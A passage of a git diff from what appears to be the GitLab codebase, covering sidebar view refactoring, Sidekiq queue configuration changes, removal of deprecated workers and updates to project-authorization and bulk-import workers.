+++ b/app/views/shared/nav/_sidebar.html.haml
@@ -1,11 +1,13 @@
%aside.nav-sidebar{ class: ('sidebar-collapsed-desktop' if collapsed_sidebar?), **sidebar_tracking_attributes_by_object(sidebar.container), 'aria-label': sidebar.aria_label }
.nav-sidebar-inner-scroll
- - if sidebar.scope_menu
+ - if sidebar.scope_menu && sidebar_refactor_disabled?
= render partial: 'shared/nav/scope_menu', object: sidebar.scope_menu
- elsif sidebar.render_raw_scope_menu_partial
= render sidebar.render_raw_scope_menu_partial
%ul.sidebar-top-level-items.qa-project-sidebar
+ - if sidebar.scope_menu && sidebar_refactor_enabled?
+ = render partial: 'shared/nav/scope_menu', object: sidebar.scope_menu
- if sidebar.renderable_menus.any?
= render partial: 'shared/nav/sidebar_menu', collection: sidebar.renderable_menus
- if sidebar.render_raw_menus_partial
diff --git a/app/views/shared/nav/_sidebar_menu.html.haml b/app/views/shared/nav/_sidebar_menu.html.haml
index 67c775d1a85..b80bd515a32 100644
--- a/app/views/shared/nav/_sidebar_menu.html.haml
+++ b/app/views/shared/nav/_sidebar_menu.html.haml
@@ -15,13 +15,13 @@
%ul.sidebar-sub-level-items{ class: ('is-fly-out-only' unless sidebar_menu.has_renderable_items?) }
= nav_link(**sidebar_menu.all_active_routes, html_options: { class: 'fly-out-top-item' } ) do
- = link_to sidebar_menu.link, **sidebar_menu.collapsed_container_html_options do
- %strong.fly-out-top-item-name
- = sidebar_menu.title
- - if sidebar_menu.has_pill?
- %span.badge.badge-pill.count.fly-out-badge{ **sidebar_menu.pill_html_options }
- = number_with_delimiter(sidebar_menu.pill_count)
+ - if sidebar_refactor_disabled?
+ = link_to sidebar_menu.link, class: "'has-sub-items' if sidebar_menu.has_renderable_items?", **sidebar_menu.collapsed_container_html_options do
+ = render 'shared/nav/sidebar_menu_collapsed', sidebar_menu: sidebar_menu
+ - else
+ %span.fly-out-top-item-container
+ = render 'shared/nav/sidebar_menu_collapsed', sidebar_menu: sidebar_menu
- - if sidebar_menu.has_items?
+ - if sidebar_menu.has_renderable_items?
%li.divider.fly-out-top-item
= render partial: 'shared/nav/sidebar_menu_item', collection: sidebar_menu.renderable_items
diff --git a/app/views/shared/nav/_sidebar_menu_collapsed.html.haml b/app/views/shared/nav/_sidebar_menu_collapsed.html.haml
new file mode 100644
index 00000000000..78567a991df
--- /dev/null
+++ b/app/views/shared/nav/_sidebar_menu_collapsed.html.haml
@@ -0,0 +1,5 @@
+%strong.fly-out-top-item-name
+ = sidebar_menu.title
+- if sidebar_menu.has_pill?
+ %span.badge.badge-pill.count.fly-out-badge{ **sidebar_menu.pill_html_options }
+ = number_with_delimiter(sidebar_menu.pill_count)
diff --git a/app/views/shared/nav/_sidebar_menu_item.html.haml b/app/views/shared/nav/_sidebar_menu_item.html.haml
index 0b0e4c7aec9..674ce593ee2 100644
--- a/app/views/shared/nav/_sidebar_menu_item.html.haml
+++ b/app/views/shared/nav/_sidebar_menu_item.html.haml
@@ -1,4 +1,4 @@
-= nav_link(**sidebar_menu_item.active_routes) do
+= nav_link(**sidebar_menu_item.active_routes, html_options: sidebar_menu_item.nav_link_html_options) do
= link_to sidebar_menu_item.link, **sidebar_menu_item.container_html_options, data: { qa_selector: 'sidebar_menu_item_link', qa_menu_item: sidebar_menu_item.title } do
%span
= sidebar_menu_item.title
diff --git a/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml b/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml
index 6a362866f41..3cbe35e5c15 100644
--- a/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml
+++ b/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml
@@ -33,6 +33,5 @@
%p.small
= _('Members of %{group} can also push to this branch: %{branch}') % { group: (group_push_access_levels.size > 1 ? 'these groups' : 'this group'), branch: group_push_access_levels.map(&:humanize).to_sentence }
-- if ::Feature.enabled?(:allow_force_push_to_protected_branches, @project, default_enabled: :yaml)
- %td
- = render "shared/buttons/project_feature_toggle", is_checked: protected_branch.allow_force_push, label: s_("ProtectedBranch|Toggle allow force push"), class_list: "js-force-push-toggle project-feature-toggle", data: { qa_selector: 'force_push_toggle_button', qa_branch_name: protected_branch.name }
+%td
+ = render "shared/buttons/project_feature_toggle", is_checked: protected_branch.allow_force_push, label: s_("ProtectedBranch|Toggle allowed to force push"), class_list: "js-force-push-toggle project-feature-toggle", data: { qa_selector: 'force_push_toggle_button', qa_branch_name: protected_branch.name }
diff --git a/app/views/shared/runners/_runner_type_alert.html.haml b/app/views/shared/runners/_runner_type_alert.html.haml
index b83def8b802..e0cc1e924d8 100644
--- a/app/views/shared/runners/_runner_type_alert.html.haml
+++ b/app/views/shared/runners/_runner_type_alert.html.haml
@@ -5,16 +5,16 @@
= s_('Runners|This runner is available to all groups and projects in your GitLab instance.')
.gl-alert-body
= s_('Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner.')
- = link_to _('Learn more.'), help_page_path('ci/runners/README', anchor: 'shared-runners'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/runners/runners_scope', anchor: 'shared-runners'), target: '_blank', rel: 'noopener noreferrer'
- elsif runner.group_type?
%h4.gl-alert-title
= s_('Runners|This runner is available to all projects and subgroups in a group.')
.gl-alert-body
= s_('Runners|Use Group runners when you want all projects in a group to have access to a set of runners.')
- = link_to _('Learn more.'), help_page_path('ci/runners/README', anchor: 'group-runners'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/runners/runners_scope', anchor: 'group-runners'), target: '_blank', rel: 'noopener noreferrer'
- else
%h4.gl-alert-title
= s_('Runners|This runner is associated with specific projects.')
.gl-alert-body
= s_('Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner.')
- = link_to _('Learn more.'), help_page_path('ci/runners/README', anchor: 'specific-runners'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/runners/runners_scope', anchor: 'specific-runners'), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/shared/wikis/diff.html.haml b/app/views/shared/wikis/diff.html.haml
index 19167f04855..0eeceac28c8 100644
--- a/app/views/shared/wikis/diff.html.haml
+++ b/app/views/shared/wikis/diff.html.haml
@@ -5,7 +5,7 @@
.wiki-page-header.top-area.has-sidebar-toggle.flex-column.flex-lg-row
= wiki_sidebar_toggle_button
- %h3.page-title.gl-flex-fill-1
+ %h3.page-title.gl-flex-grow-1
= link_to_wiki_page @page
%span.light
&middot;
diff --git a/app/views/shared/wikis/edit.html.haml b/app/views/shared/wikis/edit.html.haml
index 4bdeee3996f..729646c2731 100644
--- a/app/views/shared/wikis/edit.html.haml
+++ b/app/views/shared/wikis/edit.html.haml
@@ -7,7 +7,7 @@
.wiki-page-header.top-area.has-sidebar-toggle.flex-column.flex-lg-row
= wiki_sidebar_toggle_button
- %h3.page-title.gl-flex-fill-1
+ %h3.page-title.gl-flex-grow-1
- if @page.persisted?
= link_to_wiki_page @page
%span.light
diff --git a/app/views/shared/wikis/pages.html.haml b/app/views/shared/wikis/pages.html.haml
index 1889b6501c9..c1918198594 100644
--- a/app/views/shared/wikis/pages.html.haml
+++ b/app/views/shared/wikis/pages.html.haml
@@ -5,7 +5,7 @@
- add_page_specific_style 'page_bundles/wiki'
.wiki-page-header.top-area.flex-column.flex-lg-row
- %h3.page-title.gl-flex-fill-1
+ %h3.page-title.gl-flex-grow-1
= s_("Wiki|Wiki Pages")
.nav-controls.pb-md-3.pb-lg-0
diff --git a/app/views/users/show.html.haml b/app/views/users/show.html.haml
index a5b95883361..effd58ad200 100644
--- a/app/views/users/show.html.haml
+++ b/app/views/users/show.html.haml
@@ -23,7 +23,7 @@
data: { toggle: 'tooltip', placement: 'bottom', container: 'body' } }>
= sprite_icon('error')
- else
- = link_to new_abuse_report_path(user_id: @user.id, ref_url: request.referrer), class: link_classes + 'btn gl-button btn-default btn-icon',
+ = link_to new_abuse_report_path(user_id: @user.id, ref_url: request.referer), class: link_classes + 'btn gl-button btn-default btn-icon',
title: s_('UserProfile|Report abuse'), data: { toggle: 'tooltip', placement: 'bottom', container: 'body' } do
= sprite_icon('error')
- if can?(current_user, :read_user_profile, @user)
@@ -56,6 +56,9 @@
.user-info
.cover-title{ itemprop: 'name' }
= @user.name
+ - if @user.pronouns.present?
+ %span.gl-font-base.gl-text-gray-500.gl-vertical-align-middle
+ = "(#{@user.pronouns})"
- if @user&.status && user_status_set_to_busy?(@user.status)
%span.gl-font-base.gl-text-gray-500.gl-vertical-align-middle= s_("UserProfile|(Busy)")
diff --git a/app/workers/all_queues.yml b/app/workers/all_queues.yml
index b216c2bff28..31c590183d1 100644
--- a/app/workers/all_queues.yml
+++ b/app/workers/all_queues.yml
@@ -21,6 +21,24 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: authorized_project_update:authorized_project_update_project_recalculate
+ :worker_name: AuthorizedProjectUpdate::ProjectRecalculateWorker
+ :feature_category: :authentication_and_authorization
+ :has_external_dependencies:
+ :urgency: :high
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
+- :name: authorized_project_update:authorized_project_update_user_refresh_from_replica
+ :worker_name: AuthorizedProjectUpdate::UserRefreshFromReplicaWorker
+ :feature_category: :authentication_and_authorization
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: authorized_project_update:authorized_project_update_user_refresh_over_user_range
:worker_name: AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker
:feature_category: :authentication_and_authorization
@@ -144,16 +162,6 @@
:weight: 1
:idempotent:
:tags: []
-- :name: cronjob:analytics_instance_statistics_count_job_trigger
- :worker_name: Analytics::InstanceStatistics::CountJobTriggerWorker
- :feature_category: :devops_reports
- :has_external_dependencies:
- :urgency: :low
- :resource_boundary: :unknown
- :weight: 1
- :idempotent: true
- :tags:
- - :exclude_from_kubernetes
- :name: cronjob:analytics_usage_trends_count_job_trigger
:worker_name: Analytics::UsageTrends::CountJobTriggerWorker
:feature_category: :devops_reports
@@ -423,15 +431,6 @@
:weight: 1
:idempotent:
:tags: []
-- :name: cronjob:prune_web_hook_logs
- :worker_name: PruneWebHookLogsWorker
- :feature_category: :integrations
- :has_external_dependencies:
- :urgency: :low
- :resource_boundary: :unknown
- :weight: 1
- :idempotent:
- :tags: []
- :name: cronjob:releases_manage_evidence
:worker_name: Releases::ManageEvidenceWorker
:feature_category: :release_evidence
@@ -477,7 +476,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent:
+ :idempotent: true
:tags: []
- :name: cronjob:repository_archive_cache
:worker_name: RepositoryArchiveCacheWorker
@@ -647,15 +646,6 @@
:idempotent:
:tags:
- :exclude_from_kubernetes
-- :name: deployment:deployments_execute_hooks
- :worker_name: Deployments::ExecuteHooksWorker
- :feature_category: :continuous_delivery
- :has_external_dependencies:
- :urgency: :low
- :resource_boundary: :cpu
- :weight: 3
- :idempotent:
- :tags: []
- :name: deployment:deployments_finished
:worker_name: Deployments::FinishedWorker
:feature_category: :continuous_delivery
@@ -827,15 +817,6 @@
:weight: 1
:idempotent:
:tags: []
-- :name: gcp_cluster:clusters_cleanup_app
- :worker_name: Clusters::Cleanup::AppWorker
- :feature_category: :kubernetes_management
- :has_external_dependencies: true
- :urgency: :low
- :resource_boundary: :unknown
- :weight: 1
- :idempotent:
- :tags: []
- :name: gcp_cluster:clusters_cleanup_project_namespace
:worker_name: Clusters::Cleanup::ProjectNamespaceWorker
:feature_category: :kubernetes_management
@@ -1088,15 +1069,6 @@
:weight: 2
:idempotent:
:tags: []
-- :name: incident_management:incident_management_process_alert
- :worker_name: IncidentManagement::ProcessAlertWorker
- :feature_category: :incident_management
- :has_external_dependencies:
- :urgency: :low
- :resource_boundary: :unknown
- :weight: 2
- :idempotent:
- :tags: []
- :name: incident_management:incident_management_process_alert_worker_v2
:worker_name: IncidentManagement::ProcessAlertWorkerV2
:feature_category: :incident_management
@@ -1106,15 +1078,6 @@
:weight: 2
:idempotent: true
:tags: []
-- :name: incident_management:incident_management_process_prometheus_alert
- :worker_name: IncidentManagement::ProcessPrometheusAlertWorker
- :feature_category: :incident_management
- :has_external_dependencies:
- :urgency: :low
- :resource_boundary: :cpu
- :weight: 2
- :idempotent:
- :tags: []
- :name: jira_connect:jira_connect_sync_branch
:worker_name: JiraConnect::SyncBranchWorker
:feature_category: :integrations
@@ -1317,6 +1280,15 @@
:weight: 1
:idempotent:
:tags: []
+- :name: package_repositories:packages_debian_generate_distribution
+ :worker_name: Packages::Debian::GenerateDistributionWorker
+ :feature_category: :package_registry
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: package_repositories:packages_debian_process_changes
:worker_name: Packages::Debian::ProcessChangesWorker
:feature_category: :package_registry
@@ -1401,8 +1373,7 @@
:resource_boundary: :unknown
:weight: 1
:idempotent: true
- :tags:
- - :exclude_from_kubernetes
+ :tags: []
- :name: pipeline_background:ci_pipeline_artifacts_create_quality_report
:worker_name: Ci::PipelineArtifacts::CreateQualityReportWorker
:feature_category: :code_testing
@@ -1457,7 +1428,7 @@
:urgency: :high
:resource_boundary: :cpu
:weight: 3
- :idempotent: true
+ :idempotent:
:tags: []
- :name: pipeline_creation:create_pipeline
:worker_name: CreatePipelineWorker
@@ -1564,7 +1535,7 @@
:worker_name: PipelineHooksWorker
:feature_category: :continuous_integration
:has_external_dependencies:
- :urgency: :high
+ :urgency: :low
:resource_boundary: :cpu
:weight: 2
:idempotent:
@@ -1639,15 +1610,6 @@
:urgency: :high
:resource_boundary: :unknown
:weight: 5
- :idempotent:
- :tags: []
-- :name: pipeline_processing:pipeline_update
- :worker_name: PipelineUpdateWorker
- :feature_category: :continuous_integration
- :has_external_dependencies:
- :urgency: :high
- :resource_boundary: :unknown
- :weight: 5
:idempotent: true
:tags: []
- :name: pipeline_processing:stage_update
@@ -1777,16 +1739,6 @@
:weight: 1
:idempotent: true
:tags: []
-- :name: analytics_instance_statistics_counter_job
- :worker_name: Analytics::InstanceStatistics::CounterJobWorker
- :feature_category: :devops_reports
- :has_external_dependencies:
- :urgency: :low
- :resource_boundary: :unknown
- :weight: 1
- :idempotent: true
- :tags:
- - :exclude_from_kubernetes
- :name: analytics_usage_trends_counter_job
:worker_name: Analytics::UsageTrends::CounterJobWorker
:feature_category: :devops_reports
@@ -2116,15 +2068,6 @@
:idempotent: true
:tags:
- :exclude_from_kubernetes
-- :name: git_garbage_collect
- :worker_name: GitGarbageCollectWorker
- :feature_category: :gitaly
- :has_external_dependencies:
- :urgency: :low
- :resource_boundary: :unknown
- :weight: 1
- :idempotent:
- :tags: []
- :name: github_import_advance_stage
:worker_name: Gitlab::GithubImport::AdvanceStageWorker
:feature_category: :importers
@@ -2292,15 +2235,6 @@
:weight: 1
:idempotent: true
:tags: []
-- :name: merge_requests_assignees_change
- :worker_name: MergeRequests::AssigneesChangeWorker
- :feature_category: :source_code_management
- :has_external_dependencies:
- :urgency: :high
- :resource_boundary: :unknown
- :weight: 1
- :idempotent: true
- :tags: []
- :name: merge_requests_delete_source_branch
:worker_name: MergeRequests::DeleteSourceBranchWorker
:feature_category: :source_code_management
@@ -2570,15 +2504,6 @@
:weight: 1
:idempotent:
:tags: []
-- :name: project_schedule_bulk_repository_shard_moves
- :worker_name: ProjectScheduleBulkRepositoryShardMovesWorker
- :feature_category: :gitaly
- :has_external_dependencies:
- :urgency: :throttled
- :resource_boundary: :unknown
- :weight: 1
- :idempotent: true
- :tags: []
- :name: project_service
:worker_name: ProjectServiceWorker
:feature_category: :integrations
@@ -2588,15 +2513,6 @@
:weight: 1
:idempotent:
:tags: []
-- :name: project_update_repository_storage
- :worker_name: ProjectUpdateRepositoryStorageWorker
- :feature_category: :gitaly
- :has_external_dependencies:
- :urgency: :throttled
- :resource_boundary: :unknown
- :weight: 1
- :idempotent: true
- :tags: []
- :name: projects_git_garbage_collect
:worker_name: Projects::GitGarbageCollectWorker
:feature_category: :gitaly
@@ -2811,24 +2727,6 @@
:weight: 1
:idempotent:
:tags: []
-- :name: snippet_schedule_bulk_repository_shard_moves
- :worker_name: SnippetScheduleBulkRepositoryShardMovesWorker
- :feature_category: :gitaly
- :has_external_dependencies:
- :urgency: :throttled
- :resource_boundary: :unknown
- :weight: 1
- :idempotent: true
- :tags: []
-- :name: snippet_update_repository_storage
- :worker_name: SnippetUpdateRepositoryStorageWorker
- :feature_category: :gitaly
- :has_external_dependencies:
- :urgency: :throttled
- :resource_boundary: :unknown
- :weight: 1
- :idempotent: true
- :tags: []
- :name: snippets_schedule_bulk_repository_shard_moves
:worker_name: Snippets::ScheduleBulkRepositoryShardMovesWorker
:feature_category: :gitaly
@@ -2901,16 +2799,6 @@
:weight: 1
:idempotent:
:tags: []
-- :name: users_update_open_issue_count
- :worker_name: Users::UpdateOpenIssueCountWorker
- :feature_category: :users
- :has_external_dependencies:
- :urgency: :low
- :resource_boundary: :unknown
- :weight: 1
- :idempotent: true
- :tags:
- - :exclude_from_kubernetes
- :name: web_hook
:worker_name: WebHookWorker
:feature_category: :integrations
@@ -2930,6 +2818,15 @@
:idempotent: true
:tags:
- :exclude_from_kubernetes
+- :name: web_hooks_log_execution
+ :worker_name: WebHooks::LogExecutionWorker
+ :feature_category: :integrations
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: wikis_git_garbage_collect
:worker_name: Wikis::GitGarbageCollectWorker
:feature_category: :gitaly
diff --git a/app/workers/analytics/instance_statistics/count_job_trigger_worker.rb b/app/workers/analytics/instance_statistics/count_job_trigger_worker.rb
deleted file mode 100644
index 083c01b166d..00000000000
--- a/app/workers/analytics/instance_statistics/count_job_trigger_worker.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-module Analytics
- module InstanceStatistics
- # This worker will be removed in 14.0
- class CountJobTriggerWorker
- include ApplicationWorker
-
- sidekiq_options retry: 3
- include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
-
- feature_category :devops_reports
- tags :exclude_from_kubernetes
- urgency :low
-
- idempotent!
-
- def perform
- # Delegate to the new worker
- Analytics::UsageTrends::CountJobTriggerWorker.new.perform
- end
- end
- end
-end
diff --git a/app/workers/analytics/instance_statistics/counter_job_worker.rb b/app/workers/analytics/instance_statistics/counter_job_worker.rb
deleted file mode 100644
index a4dda45ff72..00000000000
--- a/app/workers/analytics/instance_statistics/counter_job_worker.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-module Analytics
- module InstanceStatistics
- # This worker will be removed in 14.0
- class CounterJobWorker
- include ApplicationWorker
-
- sidekiq_options retry: 3
-
- feature_category :devops_reports
- urgency :low
- tags :exclude_from_kubernetes
-
- idempotent!
-
- def perform(*args)
- # Delegate to the new worker
- Analytics::UsageTrends::CounterJobWorker.new.perform(*args)
- end
- end
- end
-end
diff --git a/app/workers/authorized_project_update/project_recalculate_worker.rb b/app/workers/authorized_project_update/project_recalculate_worker.rb
new file mode 100644
index 00000000000..3f0672992ef
--- /dev/null
+++ b/app/workers/authorized_project_update/project_recalculate_worker.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module AuthorizedProjectUpdate
+ class ProjectRecalculateWorker
+ include ApplicationWorker
+ include Gitlab::ExclusiveLeaseHelpers
+
+ feature_category :authentication_and_authorization
+ urgency :high
+ queue_namespace :authorized_project_update
+
+ deduplicate :until_executing, including_scheduled: true
+ idempotent!
+
+ def perform(project_id)
+ project = Project.find_by_id(project_id)
+ return unless project
+
+ in_lock(lock_key(project), ttl: 10.seconds) do
+ AuthorizedProjectUpdate::ProjectRecalculateService.new(project).execute
+ end
+ end
+
+ private
+
+ def lock_key(project)
+ "#{self.class.name.underscore}/#{project.root_namespace.id}"
+ end
+ end
+end
diff --git a/app/workers/authorized_project_update/user_refresh_from_replica_worker.rb b/app/workers/authorized_project_update/user_refresh_from_replica_worker.rb
new file mode 100644
index 00000000000..5ca9de63fd7
--- /dev/null
+++ b/app/workers/authorized_project_update/user_refresh_from_replica_worker.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module AuthorizedProjectUpdate
+ class UserRefreshFromReplicaWorker < ::AuthorizedProjectsWorker
+ feature_category :authentication_and_authorization
+ urgency :low
+ queue_namespace :authorized_project_update
+ deduplicate :until_executing, including_scheduled: true
+
+ idempotent!
+
+ # This worker will start reading data from the replica database soon
+ # Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/333219
+ end
+end
diff --git a/app/workers/authorized_project_update/user_refresh_over_user_range_worker.rb b/app/workers/authorized_project_update/user_refresh_over_user_range_worker.rb
index 2e4e2dd3232..ab4d9c13422 100644
--- a/app/workers/authorized_project_update/user_refresh_over_user_range_worker.rb
+++ b/app/workers/authorized_project_update/user_refresh_over_user_range_worker.rb
@@ -2,10 +2,9 @@
module AuthorizedProjectUpdate
class UserRefreshOverUserRangeWorker # rubocop:disable Scalability/IdempotentWorker
- # When the feature flag named `periodic_project_authorization_update_via_replica` is enabled,
- # this worker checks if a specific user requires an update to their project_authorizations records.
+ # This worker checks if users requires an update to their project_authorizations records.
# This check is done via the data read from the database replica (and not from the primary).
- # If this check returns true, a completely new Sidekiq job is enqueued for this specific user
+ # If this check returns true, a completely new Sidekiq job is enqueued for a specific user
# so as to update its project_authorizations records.
# There is a possibility that the data in the replica is lagging behind the primary
@@ -24,25 +23,16 @@ module AuthorizedProjectUpdate
# `data_consistency :delayed` and not `idempotent!`
# See https://gitlab.com/gitlab-org/gitlab/-/issues/325291
deduplicate :until_executing, including_scheduled: true
- data_consistency :delayed, feature_flag: :delayed_consistency_for_user_refresh_over_range_worker
+ data_consistency :delayed
def perform(start_user_id, end_user_id)
- if Feature.enabled?(:periodic_project_authorization_update_via_replica)
- User.where(id: start_user_id..end_user_id).find_each do |user| # rubocop: disable CodeReuse/ActiveRecord
- enqueue_project_authorizations_refresh(user) if project_authorizations_needs_refresh?(user)
- end
- else
- use_primary_database
- AuthorizedProjectUpdate::RecalculateForUserRangeService.new(start_user_id, end_user_id).execute
+ User.where(id: start_user_id..end_user_id).find_each do |user| # rubocop: disable CodeReuse/ActiveRecord
+ enqueue_project_authorizations_refresh(user) if project_authorizations_needs_refresh?(user)
end
end
private
- def use_primary_database
- # no-op in CE, overriden in EE
- end
-
def project_authorizations_needs_refresh?(user)
AuthorizedProjectUpdate::FindRecordsDueForRefreshService.new(user).needs_refresh?
end
@@ -54,5 +44,3 @@ module AuthorizedProjectUpdate
end
end
end
-
-AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker.prepend_mod_with('AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker')
diff --git a/app/workers/build_hooks_worker.rb b/app/workers/build_hooks_worker.rb
index be79d6b2afb..a0d1d9dca45 100644
--- a/app/workers/build_hooks_worker.rb
+++ b/app/workers/build_hooks_worker.rb
@@ -9,17 +9,7 @@ class BuildHooksWorker # rubocop:disable Scalability/IdempotentWorker
queue_namespace :pipeline_hooks
feature_category :continuous_integration
urgency :high
- data_consistency :delayed, feature_flag: :load_balancing_for_build_hooks_worker
-
- DATA_CONSISTENCY_DELAY = 3
-
- def self.perform_async(*args)
- if Feature.enabled?(:delayed_perform_for_build_hooks_worker, default_enabled: :yaml)
- perform_in(DATA_CONSISTENCY_DELAY.seconds, *args)
- else
- super
- end
- end
+ data_consistency :delayed
# rubocop: disable CodeReuse/ActiveRecord
def perform(build_id)
diff --git a/app/workers/build_queue_worker.rb b/app/workers/build_queue_worker.rb
index e9bb2d88a81..aa3c03f773e 100644
--- a/app/workers/build_queue_worker.rb
+++ b/app/workers/build_queue_worker.rb
@@ -10,11 +10,12 @@ class BuildQueueWorker # rubocop:disable Scalability/IdempotentWorker
feature_category :continuous_integration
urgency :high
worker_resource_boundary :cpu
+ data_consistency :sticky, feature_flag: :load_balancing_for_build_queue_worker
# rubocop: disable CodeReuse/ActiveRecord
def perform(build_id)
Ci::Build.find_by(id: build_id).try do |build|
- Ci::UpdateBuildQueueService.new.execute(build)
+ Ci::UpdateBuildQueueService.new.tick(build)
end
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/workers/bulk_import_worker.rb b/app/workers/bulk_import_worker.rb
index 8ad31c68374..25a86ead76e 100644
--- a/app/workers/bulk_import_worker.rb
+++ b/app/workers/bulk_import_worker.rb
@@ -15,7 +15,8 @@ class BulkImportWorker # rubocop:disable Scalability/IdempotentWorker
@bulk_import = BulkImport.find_by_id(bulk_import_id)
return unless @bulk_import
- return if @bulk_import.finished?
+ return if @bulk_import.finished? || @bulk_import.failed?
+ return @bulk_import.fail_op! if all_entities_failed?
return @bulk_import.finish! if all_entities_processed? && @bulk_import.started?
return re_enqueue if max_batch_size_exceeded? # Do not start more jobs if max allowed are already running
@@ -55,6 +56,10 @@ class BulkImportWorker # rubocop:disable Scalability/IdempotentWorker
entities.all? { |entity| entity.finished? || entity.failed? }
end
+ def all_entities_failed?
+ entities.all? { |entity| entity.failed? }
+ end
+
def max_batch_size_exceeded?
started_entities.count >= DEFAULT_BATCH_SIZE
end
diff --git a/app/workers/bulk_imports/export_request_worker.rb b/app/workers/bulk_imports/export_request_worker.rb
index cccc24d3bdc..24e75ad0f85 100644
--- a/app/workers/bulk_imports/export_request_worker.rb
+++ b/app/workers/bulk_imports/export_request_worker.rb
@@ -24,7 +24,7 @@ module BulkImports
end
def http_client(configuration)
- @client ||= Clients::Http.new(
+ @client ||= Clients::HTTP.new(
uri: configuration.url,
token: configuration.access_token
)
diff --git a/app/workers/bulk_imports/pipeline_worker.rb b/app/workers/bulk_imports/pipeline_worker.rb
index 256301bf097..d3297017714 100644
--- a/app/workers/bulk_imports/pipeline_worker.rb
+++ b/app/workers/bulk_imports/pipeline_worker.rb
@@ -4,6 +4,8 @@ module BulkImports
class PipelineWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
+ NDJSON_PIPELINE_PERFORM_DELAY = 1.minute
+
feature_category :importers
tags :exclude_from_kubernetes
@@ -40,6 +42,15 @@ module BulkImports
private
def run(pipeline_tracker)
+ if ndjson_pipeline?(pipeline_tracker)
+ status = ExportStatus.new(pipeline_tracker, pipeline_tracker.pipeline_class.relation)
+
+ raise(Pipeline::ExpiredError, 'Pipeline timeout') if job_timeout?(pipeline_tracker)
+ raise(Pipeline::FailedError, status.error) if status.failed?
+
+ return reenqueue(pipeline_tracker) if status.started?
+ end
+
pipeline_tracker.update!(status_event: 'start', jid: jid)
context = ::BulkImports::Pipeline::Context.new(pipeline_tracker)
@@ -48,7 +59,7 @@ module BulkImports
pipeline_tracker.finish!
rescue StandardError => e
- pipeline_tracker.fail_op!
+ pipeline_tracker.update!(status_event: 'fail_op', jid: jid)
logger.error(
worker: self.class.name,
@@ -67,5 +78,17 @@ module BulkImports
def logger
@logger ||= Gitlab::Import::Logger.build
end
+
+ def ndjson_pipeline?(pipeline_tracker)
+ pipeline_tracker.pipeline_class.ndjson_pipeline?
+ end
+
+ def job_timeout?(pipeline_tracker)
+ (Time.zone.now - pipeline_tracker.entity.created_at) > Pipeline::NDJSON_EXPORT_TIMEOUT
+ end
+
+ def reenqueue(pipeline_tracker)
+ self.class.perform_in(NDJSON_PIPELINE_PERFORM_DELAY, pipeline_tracker.id, pipeline_tracker.stage, pipeline_tracker.entity.id)
+ end
end
end
diff --git a/app/workers/ci/initial_pipeline_process_worker.rb b/app/workers/ci/initial_pipeline_process_worker.rb
index 4dace43298d..ca41a7fb577 100644
--- a/app/workers/ci/initial_pipeline_process_worker.rb
+++ b/app/workers/ci/initial_pipeline_process_worker.rb
@@ -15,7 +15,7 @@ module Ci
def perform(pipeline_id)
Ci::Pipeline.find_by_id(pipeline_id).try do |pipeline|
- Ci::ProcessPipelineService
+ Ci::PipelineCreation::StartPipelineService
.new(pipeline)
.execute
end
diff --git a/app/workers/ci/pipeline_artifacts/coverage_report_worker.rb b/app/workers/ci/pipeline_artifacts/coverage_report_worker.rb
index dd7bfff4eb1..ec0cb69d0c7 100644
--- a/app/workers/ci/pipeline_artifacts/coverage_report_worker.rb
+++ b/app/workers/ci/pipeline_artifacts/coverage_report_worker.rb
@@ -9,7 +9,6 @@ module Ci
include PipelineBackgroundQueue
feature_category :code_testing
- tags :exclude_from_kubernetes
idempotent!
diff --git a/app/workers/clusters/cleanup/app_worker.rb b/app/workers/clusters/cleanup/app_worker.rb
deleted file mode 100644
index 1d01cec174b..00000000000
--- a/app/workers/clusters/cleanup/app_worker.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Cleanup
- class AppWorker # rubocop:disable Scalability/IdempotentWorker
- include ClusterCleanupMethods
-
- def perform(cluster_id, execution_count = 0)
- Clusters::Cluster.with_persisted_applications.find_by_id(cluster_id).try do |cluster|
- break unless cluster.cleanup_uninstalling_applications?
-
- break exceeded_execution_limit(cluster) if exceeded_execution_limit?(execution_count)
-
- ::Clusters::Cleanup::AppService.new(cluster, execution_count).execute
- end
- end
- end
- end
-end
diff --git a/app/workers/concerns/application_worker.rb b/app/workers/concerns/application_worker.rb
index 843be4896a3..3cba1eb31c5 100644
--- a/app/workers/concerns/application_worker.rb
+++ b/app/workers/concerns/application_worker.rb
@@ -13,6 +13,7 @@ module ApplicationWorker
include Gitlab::SidekiqVersioning::Worker
LOGGING_EXTRA_KEY = 'extra'
+ DEFAULT_DELAY_INTERVAL = 1
included do
set_queue
